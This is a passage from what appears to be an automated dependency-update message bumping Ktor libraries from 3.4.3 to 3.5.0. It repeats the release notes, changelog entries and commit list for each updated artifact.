quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-http-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts 